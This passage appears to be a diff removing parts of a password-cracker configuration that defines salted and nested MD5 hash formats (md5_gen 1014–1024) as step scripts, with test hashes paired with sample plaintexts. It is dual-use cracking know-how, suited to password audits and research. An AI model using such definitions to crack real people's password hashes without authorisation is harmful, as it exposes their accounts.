-Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#512 done, but we did not test last 2 -# last crypt (makes 512 crypts TOTAL). -# This will FAIL for big endian machines. We have special code -# inside our phpass to correctly deal with this. In this format -# there is NO way to do that. Sorry, It simply can not be done -# right now on BE systems. -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1014)yhzfTrJXcouTpLleLSbnY/$aaaaaSXB:test1 -Test=md5_gen(1014)mwulIMWPGe6RPXG1/R8l50$12345678:thatsworking -Test=md5_gen(1014)nfKm8qpXa88RVUjLgjY/u1$555555hh:test3 -SaltLen=8 - -[List.Generic:md5_gen(1015)] -# same as 15, the user id format -Expression=md5($u.md5($p).$s) -Flag=MGF_SALTED -Flag=MGF_USERNAME -Flag=MGF_KEYS_CRYPT_IN2 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_userid -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1015)6093d5cb3e2f99d9110eb9c4bbca5f8c$aaaSXB$$Ujoeblow:test1 -Test=md5_gen(1015)6a2dc4a6637bc5c2488f27faeead8720$123456$$Uadmin:thatsworking -Test=md5_gen(1015)63aea4b8fe491df8545cc0099ac668d4$5555hh$$Uralph:test3 -# to test 'like' we would see from an 'input file' where user name would be first field -Test=md5_gen(1015)6093d5cb3e2f99d9110eb9c4bbca5f8c$aaaSXB:test1:joeblow -Test=md5_gen(1015)6a2dc4a6637bc5c2488f27faeead8720$123456:thatsworking:admin -Test=md5_gen(1015)63aea4b8fe491df8545cc0099ac668d4$5555hh:test3:ralph - - -#################################################################### -# md5(upper(md5($p))) Included here to 'exercise' the script parser -#################################################################### -[List.Generic:md5_gen(1016)] -Expression=md5(upper(md5($p))) -# Flag needed here, is Salt. There is no 'fixed' saltlen. -Flag=MGF_KEYS_INPUT -Flag=MGF_BASE_16_OUTPUT_UPCASE -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1016)42b01e6aebac08b1d481990c77e93206:test1 -Test=md5_gen(1016)11d382887431b076d540c4d3e37fe89a:Thatsworking -Test=md5_gen(1016)9ed1f40dffbb84dadc33138958e927b2:test3 - -[List.Generic:md5_gen(1017)] -Expression=md5(upper(md5(upper(md5($p))))) -# Flag needed here, is Salt. There is no 'fixed' saltlen. -Flag=MGF_KEYS_INPUT -Flag=MGF_BASE_16_OUTPUT_UPCASE -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1017)9D55D308E01806EF0227CF5A3AC90F4E:test1 -Test=md5_gen(1017)1E80483A2F51520646542CCDC657E476:Thatsworking -Test=md5_gen(1017)0E8851B6B060F9A5A101F540C3E3D669:test3 - -[List.Generic:md5_gen(1018)] -Expression=md5(upper(md5(upper(md5(upper(md5($p))))))) -# Flag needed here, is Salt. There is no 'fixed' saltlen. -Flag=MGF_KEYS_INPUT -Flag=MGF_BASE_16_OUTPUT_UPCASE -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -Func=MD5GenBaseFunc__clean_input2_kwik -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -Test=md5_gen(1018)CDA798A1D3B4ED11BCA6C0A3D9747B9A:test1 -Test=md5_gen(1018)98D346A7C2079BC2D6F49882E4847CDB:Thatsworking -Test=md5_gen(1018)82262EE9D6DF9E1138F602737A9F897E:test3 - - -[List.Generic:md5_gen(1021)] -Expression=md5(md5(md5(md5($p)))) -# here is the optimized 'script' to perform the md5 4 times on itself -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input_kwik -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Func=MD5GenBaseFunc__clean_input_kwik -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1021)57200e13b490d4ae47d5e19be026b057:test1 -Test=md5_gen(1021)c6cc44f9e7fb7efcde62ba2e627a49c6:thatsworking -Test=md5_gen(1021)0ae9549604e539a249c1fa9f5e5fb73b:test3 - -[List.Generic:md5_gen(1022)] -# expression shown will be the string: md5_gen(1022) md5(md5($s.md5($p.md5($p.md5($s.md5($p.$p).$s)))).md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -Expression=md5(md5($s.md5($p.md5($p.md5($s.md5($p.$p).$s)))).md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -Flag=MGF_SALTED -# -#md5(md5($s.md5($p.md5($p.md5($s.C1.$s)))).md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -#C1=md5($p.$p) -#md5(md5($s.md5($p.md5($p.C2))).md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -#C2=md5($s.C1.$s) (32+len_s2) -#md5(md5($s.md5($p.C3)).md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -#C3 = md5($p.C2) -#md5(md5($s.C4).md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -#C4 = md5($p.C3) -#md5(C5.md5($s.md5($p.md5($p.md5($s.$p)))).md5($s.md5($s.md5($p.md5($p.$s))))) -#C5 = md5($s.C4) -#md5(C5.md5($s.md5($p.md5($p.C6))).md5($s.md5($s.md5($p.md5($p.$s))))) -#C6=md5($s.$p) -#md5(C5.md5($s.md5($p.C7)).md5($s.md5($s.md5($p.md5($p.$s))))) -#C7=md5($p.C6) -#md5(C5.md5($s.C8).md5($s.md5($s.md5($p.md5($p.$s))))) -#C8=md5($p.C7) -#md5(C5.C9.md5($s.md5($s.md5($p.md5($p.$s))))) -#C9=md5($s.C8) -#md5(C5.C9.md5($s.md5($s.md5($p.C10)))) -#C10=md5($p.$s) -#md5(C5.C9.md5($s.md5($s.C11))) -#C11=md5($p.C11) -#md5(C5.C9.md5($s.C12)) -#C12=md5($s.C11) -#md5(C5.C9.C13) -#C13=md5($s.C12) -#C5.C9.C13 is NOT SSE safe. -# -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -#C1 in Out Inp, Inp2, Out2 free -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -#C2 in Out Inp, Inp2, Out2 free -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -#C3 in Out Inp, Inp2, Out2 free -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -#C4 in Out Inp, Inp2, Out2 free -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -Func=MD5GenBaseFunc__crypt -#C5 in Out Inp, Inp2, Out2 free - -Func=MD5GenBaseFunc__SSEtoX86_switch_output1 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -##Func=MD5GenBaseFunc__SSEtoX86_switch_input1 -#C5 in Inp[x86] Out, Inp2, Out2 free -Func=MD5GenBaseFunc__ToSSE - -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -##Func=MD5GenBaseFunc__SSEtoX86_switch_input2 -Func=MD5GenBaseFunc__append_keys2 -##Func=MD5GenBaseFunc__X86toSSE_switch_input2 -Func=MD5GenBaseFunc__crypt2 - -#C5 in Inp - C6 in Out2 Out, Inp2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C5 in Inp - C7 in Out2 Out, Inp2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C5 in Inp - C8 in Out2 Out, Inp2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C5 in Inp - C9 in Out2 Out, Inp2 free - -Func=MD5GenBaseFunc__SSEtoX86_switch_output2 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -#C5.C9 in Inp[x86] Out, Inp2 Out2 free -Func=MD5GenBaseFunc__ToSSE - -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__crypt2 -#C5.C9 in Inp - C10 in Out2 Out, Inp2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C5.C9 in Inp - C11 in Out2 Out, Inp2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C5.C9 in Inp - C12 in Out2 Out, Inp2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C5.C9 in Inp - C13 in Out2 Out, Inp2 free - -Func=MD5GenBaseFunc__SSEtoX86_switch_output2 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -#C5.C9.C13 Inp[x86] Out, Inp2, Out2 free -Func=MD5GenBaseFunc__crypt -#Final answer in Out Inp, Inp2, Out2 free -Func=MD5GenBaseFunc__X86toSSE_switch_output1 - - -Test=md5_gen(1022)c901de937291c6232e789d70dde2cd7f$aabbccdd:test1 - - -#################################################################### -# mkmd5gen generated GENERIC-MD5 type for md5(md5($p).md5($p.md5($p.$s).md5($s.$p))) -#################################################################### -[List.Generic:md5_gen(1023)] -Expression=md5_gen(1023): md5(md5($p).md5($p.md5($p.$s).md5($s.$p))) -Flag=MGF_SALTED -Flag=MGF_NOTSSE2Safe -# -#md5(md5($p).md5($p.md5($p.$s).md5($s.$p))) -#md5(C1.md5($p.md5($p.$s).md5($s.$p))) -#md5(C1.md5($p.C2.md5($s.$p))) -#md5(C1.md5($p.C2.C3)) -#md5(C1.C4) -# -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -#C1 in Out Inp, Inp2, Out2 free -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_from_last_output_as_base16 -#C1 in Inp Out, Inp2 Out2 free -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__crypt2 -#C1 in Inp C2 in Out2 Free: Out, Inp2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_salt2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__crypt_in2_to_out1 -#C1 in Inp C2 in Out2 C3 in Out1 Free: Inp2 -Func=MD5GenBaseFunc__clean_input2 -Func=MD5GenBaseFunc__append_keys2 -Func=MD5GenBaseFunc__append_from_last_output2_as_base16 -Func=MD5GenBaseFunc__append_from_last_output_to_input2_as_base16 -Func=MD5GenBaseFunc__crypt2 -#C1 in Inp C4 in Out2 Free: Out1, Inp2 -Func=MD5GenBaseFunc__append_from_last_output2_to_input1_as_base16 -#C1.C4 in Inp Free: Out1, Inp2 Out2 -Func=MD5GenBaseFunc__crypt -#Result in Out1 -# -Test=md5_gen(1023)529f4a3600b1ed4af606a5fbc80f58ee$aabbccdd:test1 -Test=md5_gen(1023)aa8dbd8512be7a045ba602ddc2cab64b$zzyyxxww:test3 -Test=md5_gen(1023)bd0d60add4315f6d0b13c63226d7111e$01234567:ThisisWorking -Test=md5_gen(1023)7174c2398175d2cb1d86e463cb6c8edd$98765432:abc -Test=md5_gen(1023)cef72db811843bd37f1121f714c32752$65432198:Longer Pass Here -Test=md5_gen(1023)8b0131c839db57eb6410ad84076f2fa2$32165498:Junk -Test=md5_gen(1023)736d738772ae81411d96f56d0edc95c9$74185296:Junk1 -Test=md5_gen(1023)d66166897605b76f276e76b5596834f3$96325874:Junky3 -SaltLen=8 - - -#################################################################### -# mkmd5gen generated GENERIC-MD5 type for md5(md5($p).md5($p.md5($p.$s).md5($s.$p).md5($p.$p))) - -#################################################################### -# mkmd5gen generated GENERIC-MD5 type for md5($p) -#################################################################### -[List.Generic:md5_gen(1024)] -Expression=md5_gen(1024): md5($p) -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1024)5a105e8b9d40e1329780d62ea2265d8a:test1 -Test=md5_gen(1024)8ad8757baa8564dc136c1e07507f4a98:test3 -Test=md5_gen(1024)abbd6ffd1e10de751a20f97436a50dde:ThisisWorking -Test=md5_gen(1024)900150983cd24fb0d6963f7d28e17f72:abc 